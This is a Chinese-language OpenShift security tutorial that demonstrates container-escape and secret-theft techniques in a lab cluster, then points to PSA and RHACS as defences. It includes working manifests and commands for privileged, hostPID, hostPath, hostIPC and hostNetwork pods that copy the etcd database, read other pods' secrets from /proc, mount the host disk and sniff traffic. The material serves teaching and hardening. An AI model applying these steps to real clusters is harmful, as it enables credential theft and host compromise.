《OpenShift / RHEL / DevSecOps 汇总目录》
说明:本文已经在 OpenShift 4.14 的环境中验证
本文是《容器安全 - 利用容器的特权配置实现对Kubernetes攻击》的后续篇,来介绍 在 OpenShift 环境中的容器特权配置和攻击过程和 Kubernetes 环境的差异,以及如何使用 PSA 和 RHACS 预防特权容器风险。
注意:请先完成“环境准备”和“获取 ETCD 中的数据”场景后再去完成其他场景。
$ oc get node -owide
NAME STATUS ROLES AGE VERSION INTERNAL-IP EXTERNAL-IP OS-IMAGE KERNEL-VERSION CONTAINER-RUNTIME
control-plane-cluster-fbt6n-1 Ready control-plane,master 28h v1.26.9+c7606e7 10.10.10.10 <none> Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow) 5.14.0-284.36.1.el9_2.x86_64 cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
control-plane-cluster-fbt6n-2 Ready control-plane,master 28h v1.26.9+c7606e7 10.10.10.11 <none> Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow) 5.14.0-284.36.1.el9_2.x86_64 cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
control-plane-cluster-fbt6n-3 Ready control-plane,master 28h v1.26.9+c7606e7 10.10.10.12 <none> Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow) 5.14.0-284.36.1.el9_2.x86_64 cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
worker-cluster-fbt6n-1 Ready worker 28h v1.26.9+c7606e7 10.10.10.20 <none> Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow) 5.14.0-284.36.1.el9_2.x86_64 cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
worker-cluster-fbt6n-2 Ready worker 28h v1.26.9+c7606e7 10.10.10.21 <none> Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow) 5.14.0-284.36.1.el9_2.x86_64 cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
$ oc new-project pod-security
$ oc get ns pod-security -ojsonpath={.metadata.labels} | jq
{
"kubernetes.io/metadata.name": "pod-security",
"pod-security.kubernetes.io/audit": "privileged",
"pod-security.kubernetes.io/audit-version": "v1.24",
"pod-security.kubernetes.io/warn": "privileged",
"pod-security.kubernetes.io/warn-version": "v1.24"
}
$ oc create secret generic my-secret \
--from-literal=username=myadmin \
--from-literal=password='mypass'
$ MASTER_NODE=control-plane-cluster-1
$ WORKER_NODE=worker-cluster-1
当 privileged 设为 true 时容器会以特权运行,而 hostPID 设置为 true 后就可以在 pod 中看宿主机的所有 pid 进程,并允许进入这些进程的命名空间。
$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
name: priv-hostpid-1
spec:
replicas: 1
selector:
matchLabels:
app: priv-hostpid-1
template:
metadata:
labels:
app: priv-hostpid-1
spec:
nodeName: ${MASTER_NODE}
hostPID: true
containers:
- name: priv-hostpid
image: ubuntu
tty: true
securityContext:
privileged: true
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
EOF
$ oc describe scc privileged
Name: privileged
Priority: <none>
Access:
Users: system:admin,system:serviceaccount:openshift-infra:build-controller
Groups: system:cluster-admins,system:nodes,system:masters
Settings:
Allow Privileged: true
Allow Privilege Escalation: true
Default Add Capabilities: <none>
Required Drop Capabilities: <none>
Allowed Capabilities: *
Allowed Seccomp Profiles: *
Allowed Volume Types: *
Allowed Flexvolumes: <all>
Allowed Unsafe Sysctls: *
Forbidden Sysctls: <none>
Allow Host Network: true
Allow Host Ports: true
Allow Host PID: true
Allow Host IPC: true
Read Only Root Filesystem: false
Run As User Strategy: RunAsAny
UID: <none>
UID Range Min: <none>
UID Range Max: <none>
SELinux Context Strategy: RunAsAny
User: <none>
Role: <none>
Type: <none>
Level: <none>
FSGroup Strategy: RunAsAny
Ranges: <none>
Supplemental Groups Strategy: RunAsAny
Ranges: <none>
$ oc create sa sa-privileged
$ oc adm policy add-scc-to-user privileged -z sa-privileged
$ oc set sa deploy priv-hostpid-1 sa-privileged
$ oc get pod -l app=priv-hostpid-1 -owide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
priv-hostpid-1-795ff5bcdb-bslxj 1/1 Running 0 10m 10.133.0.35 control-plane-cluster-fbt6n-3 <none> <none>
$ oc cp $(oc get pod -l app=priv-hostpid-1 -o custom-columns=:metadata.name --no-headers):/var/lib/etcd/member/snap/db ~/db
tar: Removing leading `/' from member names
tar: /var/lib/etcd/member/snap/db: file changed as we read it
$ ll ~/db
-rw-r--r--. 1 dawnsky dawnsky 127393792 10月29日 10:38 /home/dawnsky/db
$ yum install binutils
$ strings ~/db | grep my-secret -A 10
-/kubernetes.io/secrets/pod-security/my-secret
Secret
my-secret
pod-security"
*$a2e0359e-8a52-479c-a7b5-62e1d33520c32
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin
当 Pod 的 hostpid 设为 true 后就可以在容器中不但可以看到所有宿主机的进程,还包括在 pod 中运行的进程以及 pod 的环境变量(/proc/[PID]/environ 文件)和 pod 的文件描述符(/proc/[PID]/fd[X])。可以在这些文件中获取到 Pod 使用的 Secret 敏感数据。另外,还可以通过 kill 进程来危害 Kubernetes 集群的运行。
$ cat << EOF | kubectl apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
name: priv-hostpid-2
spec:
replicas: 1
selector:
matchLabels:
app: priv-hostpid-2
template:
metadata:
labels:
app: priv-hostpid-2
app.group: priv-hostpid-2
spec:
hostPID: true
nodeName: ${WORKER_NODE}
containers:
- name: priv-hostpid
image: ubuntu
securityContext:
privileged: true
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
EOF
$ oc set sa deploy priv-hostpid-2 sa-privileged
$ cat << EOF | kubectl apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
name: mypasswd
spec:
replicas: 1
selector:
matchLabels:
app: mypasswd
template:
metadata:
labels:
app: mypasswd
app.group: priv-hostpid-2
spec:
nodeName: ${WORKER_NODE}
containers:
- name: mysql
image: busybox
command: ['sh', '-c', 'echo "Hello, OpenShift!" && sleep 1000']
env:
- name: MY_PASSWORD
valueFrom:
secretKeyRef:
name: my-secret
key: password
EOF
$ oc get pod -l app.group=priv-hostpid-2 -owide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
priv-hostpid-2-bbcc56f5-nzjnr 1/1 Running 0 51s 10.133.2.26 worker-cluster-1 <none> <none>
mypasswd-9f488448d-drtqt 1/1 Running 0 34s 10.133.2.27 worker-cluster-1 <none> <none>
$ oc exec -it $(oc get pod -l app=priv-hostpid-2 -o custom-columns=:metadata.name --no-headers) -- bash
root@hostpid-bbcc56f5-nzjnr:/# for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done > envs.txt
root@hostpid-bbcc56f5-nzjnr:/# cat envs.txt | grep MY_PASSWORD
MY_PASSWORD=mypass
当 privileged 设为 true 时容器会以特权运行,这样可以从容器中访问宿主机的任何设备。
$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
name: priv
spec:
replicas: 1
selector:
matchLabels:
app: priv
template:
metadata:
labels:
app: priv
spec:
nodeName: ${MASTER_NODE}
containers:
- name: priv
image: redhat/ubi8-init
securityContext:
privileged: true
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
EOF
$ oc set sa deploy priv sa-privileged
$ oc get pod -l app=priv -owide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
priv-ddb749c9-zwtl8 1/1 Running 0 8s 10.133.0.40 control-plane-cluster-fbt6n-3 <none> <none>
$ oc exec -it $(oc get pod -l app=priv -o custom-columns=:metadata.name --no-headers) -- bash
[root@priv-6d78db564c-x6ctf /]]# fdisk -l
Disk /dev/vda: 100 GiB, 107374182400 bytes, 209715200 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: FBCD7991-A9CA-47A4-9AD7-5D4D70718039
Device Start End Sectors Size Type
/dev/vda1 2048 4095 2048 1M BIOS boot
/dev/vda2 4096 264191 260096 127M EFI System
/dev/vda3 264192 1050623 786432 384M Linux filesystem
/dev/vda4 1050624 209715166 208664543 99.5G Linux filesystem
Disk /dev/vdb: 30 GiB, 32212254720 bytes, 62914560 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 13B5BB15-3757-4FED-A554-849DC2AE15B3
Device Start End Sectors Size Type
/dev/vdb1 2048 62914526 62912479 30G Linux filesystem
[root@priv-6d78db564c-x6ctf /]# mkdir /host
[root@priv-6d78db564c-x6ctf /]# mount /dev/vdb1 /host/
[root@priv-6d78db564c-x6ctf /]# ls /host/member/
snap wal
$ oc cp $(oc get pod -l app=priv -o custom-columns=:metadata.name --no-headers):/host/member/snap/db ~/db
tar: Removing leading `/' from member names
$ strings ~/db | grep my-secret -A 10
-/kubernetes.io/secrets/pod-security/my-secret
Secret
my-secret
pod-security"
*$a2e0359e-8a52-479c-a7b5-62e1d33520c32
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin
通过 hostpath 也可以将宿主机的 “/” 目录挂载到的 pod 中,从而获得宿主机文件系统的读/写权限。如果容器是运行在 master 节点上,则可访问 master 宿主机上未加密 ETCD 数据库中的敏感信息。
$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
name: priv-hostpath
spec:
replicas: 1
selector:
matchLabels:
app: priv-hostpath
template:
metadata:
labels:
app: priv-hostpath
spec:
nodeName: ${MASTER_NODE}
containers:
- name: priv-hostpath
image: ubuntu
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /
EOF
$ oc set sa deploy priv-hostpath sa-privileged
$ oc get pod -l app=priv-hostpath -owide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
priv-hostpath-7bcd778596-r6prj 1/1 Running 0 102s 10.133.0.43 control-plane-cluster-fbt6n-3 <none> <none>
$ oc cp $(oc get pod -l app=priv-hostpath -o custom-columns=:metadata.name --no-headers):/host/var/lib/etcd/member/snap/db ~/db
tar: Removing leading `/' from member names
tar: /host/var/lib/etcd/member/snap/db: file changed as we read it
$ strings ~/db | grep my-secret -A 10
-/kubernetes.io/secrets/pod-security/my-secret
Secret
my-secret
pod-security"
*$8c572ad6-8f66-48f5-97cb-cd79035208822
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin
当 Pod 的 hostpid 设为 true 后就可以在容器中访问到宿主机 IPC 命名空间,利用 IPC 可以访问到保存在宿主机共享内存中的数据。
$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
name: hostipc-1
spec:
replicas: 1
selector:
matchLabels:
app: hostipc-1
template:
metadata:
labels:
app: hostipc-1
app.group: hostipc
spec:
hostIPC: true
nodeName: ${WORKER_NODE}
containers:
- name: hostipc
image: ubuntu
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
---
kind: Deployment
apiVersion: apps/v1
metadata:
name: hostipc-2
spec:
replicas: 1
selector:
matchLabels:
app: hostipc-2
template:
metadata:
labels:
app: hostipc-2
app.group: hostipc
spec:
hostIPC: true
nodeName: ${WORKER_NODE}
containers:
- name: hostipc
image: ubuntu
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
EOF
$ oc set sa deploy hostipc-1 sa-privileged
$ oc set sa deploy hostipc-2 sa-privileged
$ oc get pod -o wide -l app.group=hostipc
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
hostipc-1-6b7474694f-k864f 1/1 Running 0 77s 10.135.0.12 worker-cluster-1 <none> <none>
hostipc-2-849c6f5ff7-pbd7s 1/1 Running 0 78s 10.135.0.11 worker-cluster-1 <none> <none>
$ oc exec -it $(oc get pod -l app=hostipc-1 -o custom-columns=:metadata.name --no-headers) -- bash
root@hostipc-1-6b7474694f-k864f:/# echo "secretpassword" > /dev/shm/secretpassword.txt
root@hostipc-1-6b7474694f-k864f:/# exit
exit
$ oc exec -it $(oc get pod -l app=hostipc-2 -o custom-columns=:metadata.name --no-headers) -- more /dev/shm/secretpassword.txt
secretpassword
当 Pod 的 hostnetwork 为 true 时,pod 实际上用的是宿主机的网络地址空间:即 pod 使用的是宿主机 IP,而非 CNI 分配的 IP,端口是宿主机网络监听接口。由于 pod 的流量与宿主机的流量无法区分,因此也就无法对 Pod 应用常规的 Kubernetes 网络策略。
$ cat << EOF | oc apply -f -
kind: Pod
apiVersion: v1
metadata:
name: priv-hostnetwork
labels:
app.group: priv-hostnetwork
spec:
hostNetwork: true
nodeName: ${WORKER_NODE}
containers:
- name: priv-hostnetwork
command:
- /bin/sh
securityContext:
privileged: true
tty: true
image: quay.io/openshift/origin-tests:4.14
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: hello-openshift
labels:
app: hello-openshift
spec:
replicas: 1
selector:
matchLabels:
app: hello-openshift
template:
metadata:
labels:
app: hello-openshift
app.group: priv-hostnetwork
spec:
nodeName: ${WORKER_NODE}
containers:
- image: openshift/hello-openshift
name: hello-openshift
ports:
- containerPort: 8080
protocol: TCP
- containerPort: 8888
protocol: TCP
---
apiVersion: v1
kind: Service
metadata:
name: hello-openshift
spec:
type: NodePort
ports:
- nodePort: 32222
port: 8080
selector:
app: hello-openshift
EOF
$ oc get pod -l app.group=priv-hostnetwork -owide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
hello-openshift-786967d498-vqzzs 1/1 Running 0 9s 10.133.2.31 worker-cluster-1 <none> <none>
priv-hostnetwork 1/1 Running 0 9s 10.10.10.22 worker-cluster-1 <none> <none>
$ oc get svc hello-openshift -ojsonpath={.spec.ports[0].nodePort}
32222
$ oc exec -it priv-hostnetwork -- bash
[root@worker-cluster-1 /]# ip a
[root@worker-cluster-1 /]# tcpdump -s 0 -A 'tcp dst port 32222 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x48545450 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x3C21444F'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enp1s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
$ oc debug node/${WORKER_NODE}
Temporary namespace openshift-debug-nrkr2 is created for debugging node...
Starting pod/worker-cluster-1-debug ...
To use host binaries, run `chroot /host`
Pod IP: 10.10.10.22
If you don't see a command prompt, try pressing enter.
sh-4.4# ip a
sh-4.4# curl 10.10.10.22:32222
Hello OpenShift!
13:31:23.358854 IP worker-cluster-1.32222 > worker-cluster-2.59406: Flags [P.], seq 1:135, ack 81, win 478, options [nop,nop,TS val 2910336089 ecr 716100043], length 134: HTTP: HTTP/1.1 200 OK
E...h.@.=...
.}....qT.........(......
.x4Y*...HTTP/1.1 200 OK
Date: Wed, 01 Nov 2023 13:31:23 GMT
Content-Length: 17
Content-Type: text/plain; charset=utf-8
Hello OpenShift!
OpenShift 会通过 PSA Label Synchronization Controller 为每个用户使用的 Namespace(即非 “openshift-” 开头的 Namespace)自动添加缺省的 PSA 策略。除非修改 PSA Label Synchronization Controller 的策略,否则用户只能在缺省 PSA 之外添加其他策略,而不能删除缺省 PSA 配置策略。
1.查看 pod-security 命名空间的 PSA 配置,确认其已有默认的 PSA 配置。
$ oc get ns pod-security -ojsonpath={.metadata.labels} | jq
{
"kubernetes.io/metadata.name": "pod-security",
"pod-security.kubernetes.io/audit": "restricted",
"pod-security.kubernetes.io/audit-version": "v1.24",
"pod-security.kubernetes.io/warn": "restricted",
"pod-security.kubernetes.io/warn-version": "v1.24"
}
pod-security.kubernetes.io/enforce: restricted
security.openshift.io/scc.podSecurityLabelSync: 'false'
$ oc label --overwrite ns user1 security.openshift.io/scc.podSecurityLabelSync='false'
Error from server (Forbidden): namespaces "user1" is forbidden: User "user1" cannot patch resource "namespaces" in API group "" in the namespace "user1"
请参照《OpenShift 4 - 对 OpenShift 的 ETCD 数据库加密》一文对 OpenShift etcd 数据库加密,以提高安全性。
可参照《OpenShift Security (2) - 安装 Red Hat Advanced Cluster Security(RHACS)》一文安装 RHACS。
https://connect.redhat.com/en/blog/important-openshift-changes-pod-security-standards
https://github.com/openshift/enhancements/blob/master/enhancements/authentication/pod-security-admission-autolabeling.md#psa-label-synchronization-controller